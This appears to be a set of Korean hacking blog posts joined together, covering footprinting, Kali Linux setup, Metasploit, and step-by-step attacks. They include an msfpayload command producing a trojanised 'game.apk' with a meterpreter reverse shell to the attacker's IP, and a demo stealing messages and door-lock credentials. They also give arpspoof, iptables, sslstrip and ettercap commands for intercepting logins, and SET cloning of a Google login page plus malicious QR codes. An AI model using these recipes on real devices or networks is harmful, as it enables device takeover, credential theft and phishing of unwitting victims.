풋프린팅

정의

- 공격대상 범위를 정하고 해당 대상 정보와 함께 해당 시스템이 주변 환경과 어떻게 상호 작용 하는지 알 수 있게 해줌

- 공격할 대상의 정보를 모으는 방법 중 하나


필요한 이유

- 해킹을 하기 전에 취약한 부분을 미리 파악할 수 있게 해줌

- 예) 은행 강도가 은행을 턴다고 가정해보자. 이 때 강도는 은행에 있는 cctv, 주변 도로, 점원 등 정보를 미리 수집하게 된다. 역시 해킹을 하기 전에 마찬가지로 대상이 되는 것에 대해 미리 파악하는 것이 필요하다.


단계) 

1단계: 작업 수행 영역 결정

- 특정 영역을 설정하는 단계로 전체 조직을 타겟으로 할 것인지, 아니면 조직 내 어떠한 한 지역에 한정 할 것인지를 결정


2단계: 적절한 인증을 획득


3단계: 공개정보

- 회사 웹페이지

-> 웹서버 정보나 HTML 주석 등을 통해 취약한 부분 탐색

웹사이트 미러링 도구

-Linux: Wget(gnu.org/software/wget/wget.html)


-윈도우: teleport pro (http://kkn1220.tistory.com/48 참고)

-Dirbuster: 숨겨진 파일과 디렉토리 발견 tool (http://kkn1220.tistory.com/62 참고)


- 관련 조직

-> 홈페이지 개발 및 설계를 외주 맡길 때 잠정적인 공격의 대상이 됨

       대상조직의 보안이 강력하더라도 협력업체가 보안 의식이 미흡하다면 아무 소용 없음


- 자세한 위치정보

-> 물리주소의 취약점 (도로의 모습뿐만 아니라 MAC주소와 관련된 와이파이 저장)


- 직원 정보

공격 tools:

- FOCA(informatica64.com/foca.aspx)

  -> 특정 파일(pdf, doc(x), ppt(x), xls(x) 등 저장된 메타데이터 분석) 

  -> shodan과 연계시 더욱 강력

- maltego (http://kkn1220.tistory.com/65) 참고

  -> 정보 수집 GUI 툴(강력)


4단계: WHOIS와 DNS 정보 열거

- DNS 정보 식별


5단계: DNS 심문

- DNS 질의

공격 tools:

- DNS 존 트랜스퍼(오래된 기법)

 보조마스터 서버가 주 마스터 서버에서 존 데이터베이스 정보를 가져올 수 있게 허용하는 기법


방법: nslookup 

->nslookup은 도메인 이름과 ip주소를 확인하는 기능을 가진 네트워크 관리 툴 중 하나

(http://nagjang.tistory.com/8 참고)

자동화: host <path>, Sam Spade, axfr, dig

- 현재 아쉽게도 대부분 DNS 서버는 어떤 목적지 IP 주소에 대해서 존트랜스퍼 공격 허용 x

하지만 도메인 내에 존재하는 DNS 엔트리 열거 우회방법 존재 (fierce 2.0) #fierce -dns <url path>

(http://kkn1220.tistory.com/94 참고)


6단계: 네트워크 정찰

- traceroute 사용 (https://docs.oracle.com/cd/E26925_01/html/E25873/ipv6-admintasks-72.html 참고)

-> IP 패킷이 전송되는 경로를 호스트 단위로 확인

기본적으로 UDP 사용, I 옵션 시 icmp 패킷

원본 전송 IP 패킷 생성 기능 제공(-g 옵션)


'해킹 > 해킹' 카테고리의 다른 글

MITM 공격을 위한 ettercap 소개  (0) 2016.01.21
웹 퍼징 도구 DirBuster 소개  (0) 2016.01.19
자바 swt를 활용한 안드로이드 해킹  (0) 2015.08.27
kali 를 이용한 안드로이드 해킹  (3) 2015.08.27
kali metasploit 소개  (0) 2015.08.27

내용은 이전 kali 를 이용한 안드로이드 해킹과 같다.

다만 swt를 활용하여 UI를 입혀보았다.

또한 msfconsole창에서 사용한 것이 아닌 이클립스 swt 창으로 실행되는 것을 구현해보았다.


회사 로드쇼에서 사용한 것이기 때문에 소스코드는 공개하지 못한다는 점 양해 구합니다..

(이런것도 가능하구나! 라고 생각하시면 좋을 것 같습니다)


시연 목적

- 해커가 도어락을 제어하는 것과 단말을 원격으로 제어한다는 컨셉


시연 환경

- vmware11

- 이클립스 kepler버전(최신버전인 luna의 경우 SWT design을 지원하지 않아 그 전 버전 kepler 사용)

- 안드로이드 4.3 갤럭시 s3(루팅 단말, 악성코드 앱 설치, 악성코드 앱이 죽지 않도록 임모탈 앱 설치)


용어 설명

1. metasploit: 오픈소스 도구로 공격코드, payload encoder, 보안 테스트 등을 제공하는 도구

2. msfconsole: metasploit framework 내에서 이용할 수 있는 설정과 옵션 제공

3. payload: framework에 의해 선택되고 전송되어 실행되길 원하는 시스템의 코드

4. exploit: 컴퓨터, 단말 버그, 보안 취약점 등 설계상 결함을 이용해 공격자의 의도된 동작을 수행하도록 만들어진 절차나 일련의 명령

5. resource: 실행파일을 로드하여 msfconsole에서 사용할 수 있도록 함

6. meterpreter: 실제로 희생자의 단말에 붙을 때 실행할 수 있는 명령어를 입력할 수 있는 콘솔


순서

1. 이클립스(Run)

2. service postgresql start (자동 구현) -db 작동

3. msfconsole 실행 (자동 구현)

- 스크립트 실행

- use multi/handler

- set PAYLOAD android/meterpreter/reverse_tcp   //시스템 코드 중 안드로이드 리버스 tcp코드 실행

- set LHOST xxx.xxx.x.xx     //kali linux ip설정

- set LPORT xxxx            //kali linux port 설정

4. resource 한번 더 실행 (자동 구현)

- 스크립트 실행

- set AutoRunScript<스크립트 파일 명>   핵심

 //meterpreter에 접속이 될 때 루비언어로 바로 실행 모드로 전환할 수 있도록 설정

 //실제로 구현해보면 알 수 있지만 meterpreter 창 실행은이클립스에서 제어가 안됨

 //즉 스크립트를 통해 meterpreter > 모드로 진입할 수 있도록 스크립트 구현함

- exploit


위의 내용까지의 이클립스 콘솔 화면



starting PostgreSQL 9.1 database server: main        //service postgresql start

msf > resource <file명>                            //resource 실행


kali에서 내용 복사가 안되어 전에 작성한 파일 캡처로 대체하겠습니다...



------------위 설명까지는 이클립스에서 run을 실행했을 때 자동으로 실행이 됨(이클립스 콘솔 확인 가능)



swt를 활용하여 구성한 UI(허접합니다..)


GUI 화면

1. button1: System Information        //sysinfo 명령어 사용(단말 확인 가능)

2. button2: check Rooting            //단말 루팅 확인 가능

3. button3: Message Dump 및 Dump파일 open

4. button4: TcpDump 및 open       

5. DoorLockOpen


Tcpdump의 경우 루팅 된 단말에서는 가능하기 때문에 시연에서 사용

예)

메시지 덤프 후 덤프 파일 OPEN(개발용 단말이기 때문에 개인적 메시지가 없음..)


Tcpdump 뜬 화면


앱에서 도어락을 열 때 id/pw 탈취



현재 도어락과 연결되어 있지 않아 DoorLockOPEN 버튼이 활성화 되지 않지만

구현 때에는 open되고 창에는 SUCCESS 메시지 출력



뭐 그렇게 대단한 내용은 아니지만

msfconsole을 별도의 GUI를 만들어서 해킹 시나리오를 만들어봤다는데에 의의를 두는 프로젝트였습니다.

또한 swt도 처음이고 칼리 안드로이드 해킹도 처음이어서 많이 배울 수 있는 기회였습니다.


1. kali linux 실행


#msfconsole


2. msfpayload(reverse tcp)


#msfpayload android/meterpreter/reverse_tcp LHOST=192.168.102.128 LPORT=4444 R > game.apk

(msfpayload android/meterpreter/reverse_tcp LHOST=your ip LPORT=anything port R > xxx.apk)



위의 명령을 입력하면 game.apk라는 앱이 생성된다. 이를 희생자 apk에 설치한다.

LHOST는 자신의 IP를 입력하여야 한다. 그러면 희생자는 LHOST 및 해당 포트에 연결된다.


해당 앱을 분석해보면





를 확인해 볼 수 있다.


msf>use multi/handler  

msf>set PAYLOAD android/meterpreter/reverse_tcp

msf>set LHOST 192.168.102.128

msf>set LPORT 4444

     


msf> show options


잘 된 것을 확인할 수 있다.


msf>exploit




희생자 안드로이드를 기다리게 된다...


안드로이드가 붙으면 세션이 open된다.


meterpreter > sysinfo        //안드로이드 시스템정보 확인


그밖에 루팅된 단말인지 확인

전화번호부 탈취, 메시지 탈취, 통화기록 탈취

카메라 제어(동영상 촬영도 됨.....)

안드로이드 shell 사용


등등 기능 많음


시간 관계상 각각의 기능은 추후 업데이트 예정



metasploit이란?

-> 오픈소스 도구로 공격 코드, 페이로드 인코더, 정찰 도구, 보안 테스팅 등을 제공하는 일종의 체계


metasploit 특징

1. 공개된 공격코드 정리/검증을 시간 단축

2. 여러 플랫폼 사용 가능

3. 취약점을 빠르게 최신화

4. 취약점에 대한 쉘코드 제공


metasploit framework



metasploit 용어

1. exploit

- 익스플로잇은 공격자 또는 모의해킹 테스터가 시스템 응용프로그램, 서비스 내의 결함을 찾는 데 수단

- 일반적인 익스플로잇은 버퍼 오버플로우, 웹 어플리케이션 취약점(SQL-injection), 설정 에러 등 포함

2. payload

- 프레임워크에 의해 선택되고 전송되어 실행되길 원하는 시스템 코드

- 공격대상인 운영시스템에서 수행될 몇몇 명령어들을 심플하게 해놓은 것 일 수 있음

3. MSFConsole

- 프레임워크안에서 이용가능한 거의 모든 설정과 옵션을 제공하는 툴

- 사용자 친화적인 대화형 방식을 사용해 모든 기능에 접근하는 인터페이스

4. MSFcli

- 프레임워크의 고유한 인터프리터를 사용하지 않고 커맨드 라인으로 직접 수행하는 인터페이스

(http://nakyungpapa.tistory.com/153 내용 발췌)



msfconsole 사용



kali에서 msfconsole을 치면 콘솔을 사용할 수 있는데 가끔 다음과 같은 메시지의 오류를 확인할 수 있다.


Failed to connect to the database: could not connect to server: Connection refused

Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432??


이는 

#service postgresql start 를 통해 해결할 수 있다.





msfconsole을 실행하면 아래와 같이 화면이 출력된다. 이미지는 매번 바뀐다.




msfconsole 관련 커맨드들





exploit code 확인 명령어




보이는 것 같이 엄청 많다. 윈도우, 리눅스, 유닉스, 안드로이드 등 이름과 날짜, 위험수준, 그리고 어떤 취약점을 이용한 공격인지 확인할 수 있다.


이번에는 sslstrip을 이용하여 id, pw를 가로채는 것을 해보겠다.


SSLStrip 공격이란?

- HTTPS 통신 과정에서 https -> http 로 변경하여 암호화 통신을 방해함

- 동일한 NW환경 혹은 피해자의 트래픽을 수집할 수 있는 환경이어야 함


1) arp spoofing : 사용자의 패킷 -> 공격자

2) 사용자의 패킷이 라우팅이 되도록 ip_forward

3) sslstrip 공격 수행


(http://www.iblue.kr/xe/index.php?document_srl=116044&mid=board_OSMt72 발췌)




1. ip_forward가 가능하도록 설정

#echo 1 > /proc/sys/net/ipv4/ip_forward

2. arpspoofing 작동

#arpspoof -t victim-ip gw-ip

3. iptables rule 설정

#iptables --flush

#iptables -t nat -A PREROUTING -p tcp

   --destination-port 80 -j REDIRECT

   --to-ports 8080                               //위에는 port 밑에는 ports 주의




sslstrip 작동시키기




이번에도 역시 사이트는 공개하지 않기로 한다.

희생자가 해당 사이트에 접속하여 id와 pw를 입력할 경우

아래의 화면을 확인할 수 있다.

#cat sslstrip.log | grep -a id값(또는 pass)








다음으로는 ettercap을 이용한 HTTPS 도청 방법이다.

1. /etc/ettercap/etter.conf 수정        (http://kkn1220.tistory.com/32 참고)


2. enable ip_forward

#echo 1 > /proc/sys/net/ipv4/ip_forward


3. arpspoof 실행

#arpsppof -t victim_ip gw_ip



4. iptables_rules 설정


#iptables --flush

#iptables -t nat -A PREROUTING -p tcp

  --destination-port 80 -j REDIRECT

  --to-ports 10000



5. sslstrip 실행

#sslstrip -a -k -f



6. ettercap 가동

#ettercap -T -q -i eth0



7. 희생자는 사이트 접속 후 id, pw 입력

역시 이 또한 가능하다는 것을 확인해 볼 수 있다.



네이x, goox, 다x 등 대형 포털사이트는 막힘

2016-02-03


'해킹 > 해킹' 카테고리의 다른 글

kali 를 이용한 안드로이드 해킹  (3) 2015.08.27
kali metasploit 소개  (0) 2015.08.27
kali ettercap을 활용한 패스워드 도청  (1) 2015.08.27
kali setoolkit 사용  (1) 2015.08.27
kali linux 설치  (0) 2015.08.27

ettercap에 대한 소개(http://kkn1220.tistory.com/63 참고)

전체 순서

1. edit etter.conf

     - id filed, redirect field

2. fire up ettercap

3. select a netmask

4. sniff --> Unified sniffing --> interface

5. Hosts --> Scan for hosts

6. Select Target1 = Victim target2 = default gw

7. MITM --> ARP poisoning

8. start sniffing

9. check if the poison was successful



etter.conf 수정


uid와 gid 0으로 수정

위의 라인들 중 171 line과 172 line 이 우리 실습에 해당. 167, 168 은 이전 버전의 방화벽 설정이다.

해당 라인 주석을 삭제!

wq! 저장하고 나온다.



ettercap -G  //G는 그래픽 모드

sniff -> unified -> ok

host tab -> scan for hosts

host list를 누르면 리스트를 확인할 수 있다.

여기에서 Target1은 희생자, Target2는 Gateway가 된다. 
즉 130 희생자는 target1이되어, 128인 kali의 MAC 주소는 2번의 MAC주소와 같게 보인다.




그 다음 Man in the middle 어태크





희생자 cmd에서 arp-a치면

위의 화면처럼 나오는데 128 칼리와 gateway mac이 같다는 것을 확인할 수 있다.




보안이 해결되었는지 모르겠지만 혹시 모르기 때문에 사이트는 공개 안함

아무쪼록 id와 pw를 입력했을 때 ettercap에서 user와 password를 가로챌 수 있음


최근 위의 방법은 많은 사이트가 보완하였음. 그러나 아직 나이x 이런데는 보완안함
(옥x, gmax 등. 인증강화 차원에서 보완한듯함. 그러나 http://kkn1220.tistory.com/33 의 방식으로 sslstrip은 여전히 취약)
2016-02-03

'해킹 > 해킹' 카테고리의 다른 글

kali 를 이용한 안드로이드 해킹  (3) 2015.08.27
kali metasploit 소개  (0) 2015.08.27
kali sslstrip을 이용한 HTTPS 도청  (0) 2015.08.27
kali setoolkit 사용  (1) 2015.08.27
kali linux 설치  (0) 2015.08.27

Social Engineering toolkit(set)




기본적으로 Kali나 Backtrack 의 경우 setoolkit 이 자동으로 설치되어 있다.

update하기 귀찮아서 no로 했음..


소셜 엔지니어링 어태크 선택



종류가 다양하다. 웹사이트 공격, SMS 스푸핑, 무선공유기 공격 등 다양한데 웹 사이트 공격을 해보도록 하겠다.



역시 다양하다. 시간적 여유가 있다면 이것저것 해보는 것도 유익한 시간일 것 같다.



1) 웹 템플릿은 웹페이지에 트스트용 템플릿을 만들어 준다.

2) site cloner는 network 날라가고 domain page를 똑같이 가지고 온다.

3) custom import는 똑같이 만들어 주는데 구분하기가 상당히 힘들다)


site clone을 해보기로 했다.



아파치가 실행되지 않아 실행시켜줘야됨......

아파치 실행 후 다시 시작


컨씨컨브이


컨씨컨브이


사이트 클론


주소를 보면 현재 내 ip(kali 즉 공격자 ip) 주소로 구글 로그인과 똑같은 것을 확인할 수 있다.

여기에서 email을 sample, 비밀번호를 1234로 했다.

kali에서 /var/www에서 cat한 결과 다음과 같다.

ㅎㄷㄷ...



바로 끝내기 아쉬우니 QR공격을 해보자.



진짜 간단하다. 공격자의 ip를 넣어주고 qr을 생성하면

QR이미지가 생성된다.


ㅎㄷㄷ...

저 QR을 찍으면 공격자의 사이트로 이동된다.


실제로 저렇게 만들고 이벤트 회사인것마냥 사이트를 구성해준다면

많이 당할듯 싶은데

테스트는 테스트일뿐이지 실제 악용하면 안된다.

'해킹 > 해킹' 카테고리의 다른 글

kali 를 이용한 안드로이드 해킹  (3) 2015.08.27
kali metasploit 소개  (0) 2015.08.27
kali sslstrip을 이용한 HTTPS 도청  (0) 2015.08.27
kali ettercap을 활용한 패스워드 도청  (1) 2015.08.27
kali linux 설치  (0) 2015.08.27

실습환경

- 가상머신(vmware 11)

- 버전: 1.09 (마지막 버전 1.1.0(2015.2.09 출시)

- 칼리 리눅스는 정보보안을 테스트하기 위한 오픈 소스 리눅스 배포판인 백트랙의 후속 버전


vmware에서 file-newvirtual machine 클릭



custom으로 설치해보았다.


지원하는 OS가 많은데 뭐 굳이 아무거나해도..




가상이라서 마음대로 할 수 있는 건 아니다.

cpu(processor)는 코어할당, CPU 할당, hyper threding 3가지 방법으로 할당할 수 있다자신이 가지고 있는 cpu 환경에 맞게 설정해야된다. (cpu,개수  코어 개수)

메모리는 알아서 설정하면 되는데 kali의 경우 좀 필요하다고 판단하여 4GB정도 넣어줌

계속 Next하면 최종적으로 생성이됨.

 (뭐 여기까지는 kali 이미지파일 구해서 적당히 넣어주면 되기 때문에 간단하게 진행함)



실행하면 위의 화면처럼 나오는데 그냥 기능만 확인해보고 싶으면 live로 확인하고

뭐 좀 제대로 해보려면 Install 하면 됨


심플함....



이것 저것 많은 기능을 제공함


이제 이 기능을 가지고 재미있는 몇 가지를 해보겠다^^




'해킹 > 해킹' 카테고리의 다른 글

kali 를 이용한 안드로이드 해킹  (3) 2015.08.27
kali metasploit 소개  (0) 2015.08.27
kali sslstrip을 이용한 HTTPS 도청  (0) 2015.08.27
kali ettercap을 활용한 패스워드 도청  (1) 2015.08.27
kali setoolkit 사용  (1) 2015.08.27

+ Recent posts